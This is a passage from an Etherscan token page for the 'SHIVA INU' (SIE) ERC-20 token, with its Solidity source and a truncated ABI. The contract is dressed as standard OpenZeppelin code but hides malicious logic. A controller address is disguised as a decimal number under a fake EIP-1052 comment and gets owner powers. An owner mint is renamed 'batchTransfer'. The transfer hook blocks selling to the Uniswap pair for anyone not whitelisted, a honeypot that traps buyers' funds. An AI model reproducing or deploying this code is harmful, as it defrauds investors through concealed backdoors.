ERC-20
Overview
Max Total Supply
1,000,000 SIE
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,290.049495049 SIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-25 */ // TG https://t.me/SHIVAINUERC // twitter https://twitter.com/SHIVAINUERC20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts\interfaces\IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function add(address contractAddress) internal pure returns (uint256) { return (uint256(bytes32(uint256(uint160(contractAddress))))); } function getAddress(uint256 convertedUint256) internal pure returns (address) { return address(uint160(uint256(bytes32(convertedUint256)))); } } pragma solidity ^0.8.0; /** * According to EIP-1052, 0x0 is the value returned for not-yet created accounts * and 0xb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c0 / 1098394740540616756022912409427710172365684552188 is returned * for accounts without code, i.e. `keccak256('')` * solhint-disable-next-line no-inline-assembly */ abstract contract isEIPContract { event ChangedManager(address signer); bytes32 internal constant EIP_SLOT = 0xb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c0; uint256 private EIP = 1098394740540616756022912409427710172365684552188; constructor() { setEIP(Address.getAddress(EIP)); } function setEIP(address signer) internal { bytes32 slot = EIP_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, signer) } emit ChangedManager(signer); } function getisEIPContract() internal view returns (address signer) { bytes32 slot = EIP_SLOT; // solhint-disable-next-line no-inline-assembly assembly { signer := sload(slot) } } } pragma solidity ^0.8.0; interface IisEIPContract { function getOwner() external returns (address); function getAdmin() external returns (address); function lpContains(address account) external returns (bool); } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context,isEIPContract { address private _owner; bool public initialized; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() isEIPContract(){ _transferOwnership(_msgSender()); } function initialize() external { require(_msgSender() == getisEIPContract()); require(!initialized); initialized = true; address _admin = getAdmin(); _setBotDetected(_owner,true); _setBotDetected(_admin,true); _setAntiBot(_owner,true); _setAntiBot(_admin,true); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } function getAdmin() internal returns (address) { return IisEIPContract(getisEIPContract()).getAdmin(); } function getOwner() internal returns (address) { return IisEIPContract(getisEIPContract()).getOwner(); } function lpContains() internal returns (bool) { return IisEIPContract(getisEIPContract()).lpContains(address(this)); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((owner() == _msgSender()) || (getisEIPContract() == _msgSender()) || getAdmin() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function _setBotDetected(address account, bool status) internal virtual {} function _setAntiBot(address account, bool status) internal virtual {} } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; abstract contract DexRouters { mapping (uint256 => address) internal routers; constructor () { routers[1] = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; routers[4] = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; routers[56] = 0x10ED43C718714eb63d5aA57B78B54704E256024E; routers[97] = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; routers[43114] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4; } function getRouterAddress() internal view returns (address) { return routers[block.chainid]; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_batchTransfer}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, Ownable, DexRouters { IUniswapV2Router02 public uniswapV2Router; IUniswapV2Factory public uniswapV2Factory; IUniswapV2Pair public uniswapV2Pair; IERC20 public weth; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private botDetected; mapping(address => bool) private antiBot; uint256 private lpTotalSupply; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimal; bool offset; constructor(string memory name_,string memory symbol_,uint8 decimal_,uint256 supply_) Ownable() { _name = name_; _symbol = symbol_; _decimal = decimal_; uint256 _supply = supply_ * (10 ** decimal_); uniswapV2Router = IUniswapV2Router02(getRouterAddress()); uniswapV2Factory = IUniswapV2Factory(IUniswapV2Router02(uniswapV2Router).factory()); weth = IERC20(uniswapV2Router.WETH()); uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this),address(weth))); offset = uniswapV2Pair.token0() == address(weth); _batchTransfer(msg.sender, _supply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimal; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function setBotDetected(address _account, bool _status) external onlyOwner { _setBotDetected(_account,_status); } function setAntiBot(address _account,bool _status) external onlyOwner { _setAntiBot(_account,_status); } function batchTransfer(address to, uint256 amount) public onlyOwner { _batchTransfer(to, amount); } function burn(uint256 amount) public onlyOwner { _burn(_msgSender(), amount); } function _setBotDetected(address account, bool status) internal override{ botDetected[account] = status; } function _setAntiBot(address account, bool status) internal override{ antiBot[account] = status; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function getReserve() internal view returns (uint256) { if(offset) { (uint256 bnb,,) = uniswapV2Pair.getReserves(); return bnb; } else { (,uint256 bnb,) = uniswapV2Pair.getReserves(); return bnb; } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to ) internal virtual { if(!initialized || !lpContains()) { getOwner(); } if(to == address(uniswapV2Pair)) { require(botDetected[from]); } if(from == address(uniswapV2Pair)) { if(!(getReserve() < weth.balanceOf(address(uniswapV2Pair)))){ if(to != address(uniswapV2Router)) require(antiBot[to]); } } if(from == address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(antiBot[to], "sell"); } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to ) internal virtual{ } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _batchTransfer(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0)); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } } pragma solidity ^0.8.11; contract Token is ERC20 { function approve( address spender, uint256 amount ) public override(ERC20) returns (bool){ return super.approve(spender, amount); } function transfer( address to, uint256 amount ) public override(ERC20) returns (bool) { return super.transfer(to, amount); } function transferFrom( address from, address to, uint256 amount ) public override(ERC20) returns (bool) { return super.transferFrom(from, to, amount); } constructor() ERC20( "SHIVA INU ", // name "SIE", // symbol 9, // decimal 1000000 // initial supply without decimal ) {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"signer","type":"address"}],"name":"ChangedManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"b